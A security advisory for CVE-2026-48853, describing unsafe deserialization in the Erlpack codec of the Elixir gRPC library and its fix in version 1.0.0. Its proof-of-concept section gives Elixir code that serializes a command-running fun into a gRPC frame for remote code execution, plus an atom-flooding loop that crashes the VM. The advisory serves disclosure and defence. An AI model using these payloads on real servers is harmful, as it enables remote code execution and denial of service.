criticalCVE-2026-48853Aug 25, 2026

CVE-2026-48853: erlang/grpc Unsafe Deserialization Leading to RCE and DoS

Rohit Hatagale
AI Security Researcher, SecureLayer7

The Erlpack codec in the Elixir gRPC library deserializes attacker-controlled network data without any safety guards, letting an unauthenticated remote caller crash the entire server or execute…

Packagegrpc
Ecosystemerlang
Affected>= 0.4.0, < 1.0.0
Fixed in1.0.0
CVE-2026-48853: erlang/grpc Unsafe Deserialization Leading to RCE and DoS

The problem

GRPC.Codec.Erlpack.decode/2 calls :erlang.binary_to_term/1 on the raw gRPC message body with no :safe flag, no size limit, and no type validation. Any unauthenticated peer that can send a request with Content-Type: application/grpc+erlpack can exploit this.

There are two independent attack paths. First, a payload encoding large numbers of fresh atoms saturates the BEAM atom table (~1,048,576 entries, never garbage-collected) and crashes the entire VM. Second, a payload encoding a fun term gives the attacker code execution inside the server process if that decoded value is ever invoked downstream.

The codec is not enabled by default, but any server that adds GRPC.Codec.Erlpack to its codecs option is fully exposed.

Proof of concept

A working proof-of-concept for CVE-2026-48853 in grpc, with the exact payload below.

bash
# Step 1: generate the malicious gRPC body in Elixir/Erlang
# RCE path: encode a fun (anonymous function) as a binary
malicious_body = :erlang.term_to_binary(fn -> System.cmd("id", []) end)

# Step 2: wrap in a gRPC frame (1-byte compressed flag + 4-byte big-endian length)
frame =
  <<0::8, byte_size(malicious_body)::32>> <> malicious_body

# Step 3: send over HTTP/2 to any RPC endpoint on the target
# POST /<package>.<Service>/<Method> HTTP/2
# content-type: application/grpc+erlpack
# (body = frame above)

# DoS path: flood with fresh-atom payloads
for i <- 1..1_048_576 do
  atom = String.to_atom("x#{i}")
  :gen_tcp.send(sock, grpc_frame(:erlang.term_to_binary(atom)))
end

The root cause is a bare :erlang.binary_to_term/1 call with no options. The BEAM deserializer is Turing-complete by design: it faithfully reconstructs any term type, including funs (closures with embedded bytecode) and atoms, from wire bytes.

The patch applies two independent guards. It switches to :erlang.binary_to_term(binary, [:safe]), which prevents the creation of new atoms from the wire and blocks the DoS path. It then inspects the decoded term and raises if it contains a fun, pid, port, or reference, because :safe alone does not block fun materialization on every OTP release, and a materialized fun reaching any call site that applies it is enough for RCE.

CWE-502 (Deserialization of Untrusted Data) and CWE-770 (Allocation Without Limits) both apply here as separate exploitation paths from the same missing option.

The fix

Upgrade the grpc Hex package to version 1.0.0 or later. The fix is in commit 272a97a5. If an immediate upgrade is not possible, remove GRPC.Codec.Erlpack from the server codecs list entirely, since the codec is opt-in and not loaded by default.

Reported by Peter Ullrich.

References: [1][2][3][4][5][6]

Related research